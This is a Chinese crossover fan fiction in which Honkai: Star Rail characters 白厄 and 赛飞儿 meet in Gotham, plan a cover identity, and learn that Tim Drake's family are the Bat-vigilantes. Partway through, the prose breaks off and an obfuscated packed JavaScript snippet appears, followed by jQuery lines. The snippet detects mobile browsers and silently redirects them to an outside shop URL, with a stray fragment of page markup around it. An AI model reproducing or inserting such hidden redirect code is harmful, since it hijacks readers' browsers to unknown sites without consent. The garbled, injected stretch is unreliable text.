白厄从韦恩庄园回来的时候,两只手都没空着。

    阿尔弗雷德给他装了一盒刚烤好的曲奇,用漂亮的铁盒装着,系了根深蓝色的丝带。迪克塞给他一件韦恩庄园的纪念T恤,说是“以后你来哥谭大学篮球赛可以穿这个加油”。提姆什么都没塞,但在白厄上车之前跟他说了一句“下次再来”。

    白厄靠在厨房的台面上,手里捧着杯子,看着窗外哥谭灰蒙蒙的天际线。从这儿能看到东区那片矮矮的屋顶,和更远处的港口吊机。阳光从云层的缝隙里漏下来,在东区的房子上画出一块块不大不小的光斑,那些光斑在灰色的墙面上显得格外亮,亮得有点不真实。

    哥谭这个地方挺好的。

    她不像那些大城市那样光鲜亮丽,她的好是藏起来的,你得在这儿待一阵子才能慢慢感觉到。那些在街角开了一辈子杂货铺的老头,那些会在下雨天给你多套一个塑料袋的超市老板娘,那些在深夜巡逻、穿得像一只大蝙蝠、不需要任何人跟他说“谢谢”的义警。

    她内外都破败不堪,但在这座灰暗的城市里,她确实长出了希望的种子。

    他觉得,自己也该为这座城市出点力。

    哥谭的超级英雄够多了,而且他们干得挺好。白厄想做的是一些更小的、更具体的事情。比如晚上出门散步的时候顺手解决几个不长眼的小混混,比如帮邻居找回被偷的自行车,比如——总之,在看到需要帮忙的事情时,不假装没看见。

    说干就干。白厄换了件深色的外套,把头发压进帽子里,走出了公寓。

    哥谭的夜晚来得很早。白厄走在东区边缘的一条街上,路灯有一盏没一盏地亮着,脚下的路面坑坑洼洼的,前几天下过雨留下的积水还没干透。他把手插在口袋里,脚步不快不慢,耳朵留意着周围的动静。

    他走了大概十分钟,什么都没发生。

    又走了五分钟,还是什么都没发生。

    白厄开始怀疑自己是不是被哥谭的犯罪率数据骗了。不是说这儿是全美最危险的城市吗?怎么他每次专门出来找事的时候,事都不来找他?

    他正想着,前面的巷子里传来一阵窸窸窣窣的声音。

    白厄的脚步快了起来。

    他走到巷口,深吸一口气,做好了“喝止坏人、解救好人”的准备,然后探出半个头——

    巷子里什么都没有。

    没有人,没有声音,只有一只灰猫蹲在垃圾桶上,用一种“你瞅啥”的表情看着他。

    白厄和那只猫对视了三秒。

    “你刚才是不是在学人走路?”他问那只猫。

    猫没理他,跳下垃圾桶走了。

    白厄叹了口气,转过身准备继续往前走。

    “……救世小子?”

    白厄的脚步骤然停住。

    这个声音。

    这个称呼。

    世界上只有一个人会这么叫他。

    他猛地转过身。

    一个银灰色短发的女孩蹲在他身后的路灯柱上,两只手撑着下巴,蓝色的眼睛在路灯下亮得像两盏小灯。她穿着一身蓝黑色系的轻便衣服,腰间挂着一个小包,整个人看起来像一只停在灯柱上的猫。

    “赛飞儿小姐?!”白厄的声音拔高了一个调。

    “嘘——”赛飞儿把食指竖在嘴唇前面,表情严肃得不像是在开玩笑,“大晚上的,喊这么大声,你是想让整个东区都知道哥谭盗圣的真实名字吗?”

    白厄把嘴闭上了,但他脸上的表情关不上,他的眼睛瞪得老大,嘴巴抿着但嘴角在上扬。

    赛飞儿从路灯柱上跳下来,轻得像一片被风吹下来的叶子,落地的时候一点声音都没有。她站在原地,双手抱胸,歪着头打量着白厄。

    “怎么了?看到我这么激动?”

    白厄深吸了一口气,像是想说什么,但又找不到合适的话。即使他已经在新闻头条里得知那可能是赛飞儿,但亲眼见证远比猜想来的震撼。

    “你怎么在这儿?”他终于憋出了一句话。

    “我在问你呢。”赛飞儿往前走了两步,绕着白厄转了一圈,“我在这个城市待了快两个月了,怎么今天才碰上你?你才来的哥谭?”

    “你在哥谭待了两个月?”

    “对啊。”

    “我在哥谭也快两个月了。”

    两个人对视了一秒。

    “哥谭真大。”赛飞儿说。

    “确实大。”白厄点头。

    他们站在东区那条没什么人的街上,路灯把两个人的影子拉得长长的,交叠在一起,像两条交叉的路。白厄看着赛飞儿的脸,他在无数次日升月落中见过她。在翁法罗斯奥赫玛的台阶上、在每一次轮回的缝隙中都会出现的猫。

    “你还好吗?”他问。

    赛飞儿眨了眨眼。“你指哪方面?”

    “各方面。”

    赛飞儿想了想,“还行吧。”她说,“在这个世界待了一阵子,觉得……也没那么糟。你呢?”

    “我也还行。”白厄说,“上了大学,交了新朋友,住的地方有热水,楼下便利店的老板人挺好。”

    赛飞儿“嗯”了一声,“走吧,”她说,“找个地方坐坐。站大街上聊天像什么样子。”

    赛飞儿带路。两个人走过几条街,拐了几个弯,上了一栋看起来废弃了很久的建筑。楼梯很窄,转弯的地方堆着不知道谁留下的旧家具,墙上的涂鸦一层盖一层。赛飞儿走得很熟练,显然不是第一次来了。

    顶层的门是锁着的,但赛飞儿从腰包里掏出一根铁丝,捅了两下,锁就开了。她推开门,夜风一下子涌了进来,带着哥谭港口的水腥味和远处城市的热闹。

    这是哥谭大钟楼的顶层。

    从这儿看下去,整个哥谭像一张铺开的地图。东区的灯最暗,钻石区最亮,港口那边有一排长长的橙色光带,是码头的吊灯。远处有几栋高楼亮着灯,白色的、蓝色的、红色的,像散落在棋盘上的棋子。

    赛飞儿走到边缘,在栏杆上坐下来,两只脚悬在外面晃来晃去。白厄站在她旁边,靠着栏杆,看着这座灰黑色的城市在天际线下安静地呼吸。

    “你知道我住东区附近?”白厄问。

    “不知道。”赛飞儿说,“我今晚就是出来走走,走到这条街的时候,看到一个白毛在东张西望,心想这谁啊这么像白厄,走近一看还真是你。”

    “你在哥谭做什么?”

    “偷东西。”赛飞儿理直气壮。

    白厄沉默了一秒。“……你在翁法罗斯偷,你来这个世界还偷?”

    “这叫职业素养。”赛飞儿晃着腿,“而且我只偷坏人的,你别用那种眼神看我。”

    “我没看你。”

    “你在心里谴责我了。”

    白厄没有否认。他靠在栏杆上,看着远处港口的方向,沉默了一会儿。

    “你碰到其他人了吗?”他问。

    赛飞儿摇了摇头。“你是第一个我真正意义上碰到的人。”

    白厄皱起眉头。“其他人都没见着?”

    “没看到。”赛飞儿说,“这个世界太大了,十三个人扔进来,跟十三粒沙子洒进海里一样,碰到的概率本来就不高。”

    白厄点了点头。

    “不过我知道还有一个人在哪。”赛飞儿忽然说。

    白厄转过头看她。

    “遐蝶。”

    白厄的眼睛亮了。“她在哪儿?”

    “冥界。”

    白厄::?

    赛飞儿把杰森的故事简单说了一遍——一个男人,死过一次,在坟墓里看到了一个紫色头发,穿着白裙子的、手里拿着镰刀的女人。她的声音很轻,描述得很细致,把遐蝶的样子说得清清楚楚。

    “他是我的朋友。”赛飞儿说,“他说遐蝶跟他聊了一会儿,然后他就复活了。”

    白厄沉默了,“她怎么在哪个世界都往冥界跑啊。”

    “我刚才也是这么想的。”

    两个人对视了一眼,同时叹了口气。

    “你有办法去冥界找她吗?”白厄问。

    赛飞儿伸出手,在空气里抓了两下,像是在感受什么。

    “我用「诡计」得到的神速力,在这个世界被压得挺厉害的。从东区跑到大教堂都要喘一会儿,你让我从这个世界跑到冥界去?”

    白厄也伸出手,握了握拳,又松开。

    “我这边也是。力量还在,但和之前比差远了。”他想了想,又补了一句,“我连侵晨都没叫出来过。”

    “你现在叫出来我看看。”

    “不。”

    “为什么?”

    “这地方太小了,我怕把楼拆了。”

    赛飞儿看着他,确认他是不是在吹牛。白厄的表情很认真。赛飞儿决定相信他。

    “所以你的意思是,”赛飞儿说,“我们暂时找不到她?”

    “对。”白厄点头。

    赛飞儿把两条腿从栏杆外面收回来,盘腿坐着,两只手撑着下巴,看着哥谭的夜景。

    “那其他人呢?”她问。

    白厄想了想。“肯定也在。十三个人,不可能只有我们两个和遐蝶在。只是不知道他们在哪。”

    “那怎么找?”

    白厄沉默了一会儿。

    “要是他们能上电视就好了。”他说,“那种全美都能看到的新闻,一打开电视就看到‘哥谭出现一个奇怪的人’之类的,我们就能顺着找过去。”

    赛飞儿歪着头想了想。“哥谭天天都有那种新闻。‘东区又出事了’‘企鹅人又被抓了’‘蝙蝠侠又打人了’,普通人都懒得看了。”

    白厄皱了皱眉。“那得是更大的事。”

    “多大?”

    白厄转过头看着她。“比如说……拯救一次哥谭?”

    赛飞儿盯着他看了两秒,“想法不错,救世小子。”

    她从栏杆上跳下来,走到白厄面前,仰头看着他。

    “我有预感,”她说,声音比刚才低了一些,“哥谭很快就要大乱了。”

    白厄的表情没有变化,但他的目光沉了一点。

    “你感觉到了什么?”

    “我这阵子在哥谭转了一圈,发现这座城市的平衡挺脆弱的。那些坏人不是不存在,他们只是在等一个机会。等他们找到那个机会——”

    她没有说完,但白厄听懂了。

    白厄不希望哥谭出事。这座城市对他很好,他很领情。

    但如果真的要出事,他也不怕。

    “你说得对。”白厄说。

    “怎么?”

    “拯救一次哥谭很有盼头。”

    赛飞儿扬起眉毛。“你还真打算干啊?”

    白厄靠在栏杆上,双手抱胸,看着远处的天际线。

    “我之前在想,这个世界的我和翁法罗斯的我有什么不同。”他说,“在翁法罗斯,我的每一个选择都关系到世界的存亡,我是‘救世主’。但在这个世界,我只是一个大学生。没有人需要我拯救,没有人等着我做决定,我做什么都不会影响世界的命运。”

    “这不是挺好的吗?”赛飞儿说。

    “是挺好的。”白厄说,“但有时候我会觉得……不太习惯。”

    赛飞儿看着他,没说话。

    “我不是说我想回翁法罗斯。”白厄赶紧补了一句,“那个地方挺好的,但我暂时不太想回去。我只是觉得,既然我在这儿,既然我有这个能力,那我应该做点什么。”

    赛飞儿想了想。

    “你打算怎么做?”

    白厄想了想。

    “还没想好。”

    赛飞儿忍不住笑了。“救世小子,你要在哥谭当超级英雄,连计划都没有?”

    “蝙蝠侠有计划吗?”

    “蝙蝠侠的计划就是每天晚上出去打人。”

    “那我也每天晚上出去打人。”

    “你打人犯法。”

    “蝙蝠侠打人也犯法。”

    赛飞儿张了张嘴,又闭上了。她发现自己居然没法反驳这句话。

    “行了行了,”她摆摆手,“你想打就打吧,我不拦你。不过我要说正事了。”

    白厄看着她。

    “你和我,”赛飞儿的手指在空中画了一个圈,把两个人圈在里面,“我们这种能力,在这个世界是不属于‘常规超能力’的。”

    白厄点头。他知道。很多地方都有超能力者,中心城有,大都会也有。但他们这种来自另一个世界、由另一个体系赋予的力量,和这个世界的超能力者不在同一个频道上。别人检测超能力,用的是波长、频率、能量反应这些参数。他们的能力——白厄也不知道那是什么参数。

    “如果有人发现我们,”赛飞儿说,“不一定会把我和你想成正常人。”

    白厄明白她的意思。

    “所以你的意思是——”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556421|203960||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“我们得先立个名头。”赛飞儿说,“不是给自己立,是给他们立。让他们知道这个世界来了一群新人,让他们觉得这只是一件很普通的事,不用大惊小怪。”

    “怎么立?”

    “黄金裔。”

    白厄愣了一下。

    赛飞儿看着他,蓝色的眸子在夜色里闪烁。

    “我们是'黄金裔'。在翁法罗斯为了完成逐火之旅而存在,但在这个世界,只是一个名头而已。若是有人想要查探我们的底细,那就让他们查去吧,查出来的就是我们想让他们知道的,查不出来的——”

    “就是他们不需要知道的。”白厄接过话。

    赛飞儿笑了。“对。”

    白厄想了想,“好。听起来很酷的样子”

    赛飞儿拍了拍手,从栏杆上跳下来,走到白厄旁边,和他并肩站着,看着哥谭的夜景。

    “那就这么定了。”她说。

    风从港口那边吹过来,把两个人的头发吹得乱七八糟。白厄的白头发和赛飞儿的灰白短发在空中缠了一下,又分开了。

    他们又在钟楼上站了一会儿,看着哥谭的灯光一点一点地暗下去。夜更深了,远处港口的吊灯也关了几盏,只剩下钻石区那边还亮着,像一堆烧不完的炭。

    “你那个朋友,”赛飞儿忽然开口,“提姆。”

    白厄转过头。“怎么了?”

    “韦恩集团的小少爷。”

    “对。”

    赛飞儿看了他一眼,嘴角微微弯了一下,带着一种“你是不是还不知道”的表情。

    白厄皱起眉头。“你这是什么表情?”

    “没什么。”赛飞儿说,“就是觉得……你这个朋友交得挺好的。”

    “当然好。”白厄说,“怎么了?你是不是知道什么我不知道的?”

    赛飞儿歪着头想了想,好像在考虑要不要现在告诉他。

    “你想知道?”她问。

    “想。”

    “想好了?”

    “你到底说不说?”

    赛飞儿笑了,从栏杆上跳下来,拍了拍裙子,朝楼梯口走去。

    “换个地方再说。”

    白厄跟上她。“为什么?”

    “因为这句话说出来,你可能需要坐下来听。”

    他们从大钟楼的顶层下来,走到了钟楼中部的一个小平台上。这儿有几级台阶,赛飞儿一屁股坐下去,拍了拍旁边的位置。

    白厄坐下来。

    “说吧。”

    赛飞儿深吸一口气。

    “你的好朋友提姆,是红罗宾。”

    白厄看着她。

    “韦恩集团的小少爷。”赛飞儿继续说,“他养父布鲁斯·韦恩,是蝙蝠侠。”

    白厄继续看着她。

    “他大哥迪克·格雷森,是夜翼。他另一个养兄杰森·陶德,就是那个死于小丑之手的,我刚才跟你说的那个死了一次,在冥界碰到遐蝶然后复活的朋友,是红头罩。”

    白厄的嘴巴微微张开了。

    赛飞儿说完了,安静地坐在旁边,等他消化。

    钟楼下面的街道上偶尔有车经过,车灯的光扫上来,在墙上画出一道道光影。远处传来一声警笛,很快又消失了。

    白厄眨了眨眼。

    “我今天早上在他们家吃的早饭。”

    “我知道。”

    “阿尔弗雷德给我泡了茶。大吉岭。”

    “嗯。”

    “迪克让我下次去的时候带他打篮球。”

    “他挺喜欢你的。”赛飞儿说。

    白厄转过头,用一种很复杂的表情看着她。

    “提姆那个家伙,”他说,声音里带着一点委屈,“他瞒了我这么久。”

    “你瞒他的事也不少吧。”

    白厄张了张嘴,又闭上了。

    “你说得对。”白厄说,“我也瞒了他一些事。”

    赛飞儿拍了拍他的肩膀。

    “没关系啦,救世小子。反正你们已经是朋友了,这些东西以后可以慢慢说。”

    白厄想了想,点了点头。

    然后他忽然笑了。

    “哥谭的日子越来越有盼头了。”

    赛飞儿看着他。“你心态真好。”

    “那当然。”白厄站起来,“走吧,我请你喝东西。”

    “这附近没什么像样的咖啡店。”

    “我住的楼下有一个便利店,有热可可。”

    赛飞儿想了想。“……行吧。”

    “对了,赛飞儿,你平时住哪?”

    “嗯……随遇而安。”

    “什么意思?”

    “就是今天住这儿,明天住那儿。看心情,看天气,看房东有没有装门锁。”

    白厄看了她一眼。

    “我租的那个公寓,”他说,“隔壁那间屋子还没人租。房东说那间房子风水不好,一直租不出去,干脆就送给我了。我现在拿它当杂物间,堆了一些纸箱和用不上的东西。”

    赛飞儿看着他。

    “你要是没地方住的话,”白厄说,“我回去收拾一下,把那间给你腾出来。”

    赛飞儿没有立刻回答。

    她走在白厄旁边,脚步不快不慢,路灯的光从她脸上滑过去,又滑过来。她的表情看不太清楚,但白厄注意到她的嘴角微微弯着。

    “谢谢啊,救世主。”她说。

    她的声音不大,但很清楚。

    “不客气。”白厄说。

    “那我这周搬过去。”赛飞儿说。

    “随时都行。”

    “那个杂货间,有窗户吗?”

    “有。朝东的,早上能晒到太阳。”

    “那我要那间。”

    白厄笑了。“本来就是给你的。”

    他们走过最后一条街,转了个弯,白厄公寓楼下便利店的灯光照过来,暖暖的,橘黄色的,照在他们两个人的脸上。

    便利店的自动门打开了,里面的暖气涌出来,带着咖啡和关东煮的味道。

    白厄推开玻璃门,赛飞儿跟在他后面,两个人一前一后地走进去,不过是两个普通得不能再普通的年轻人,在哥谭一个普通得不能再普通的夜晚,买两杯普通得不能再普通的热可可。

    柜台后面的老头看了他们一眼,目光在赛飞儿的猫耳上停了一瞬,然后移开了。

    哥谭,什么怪人都有。不差这一个。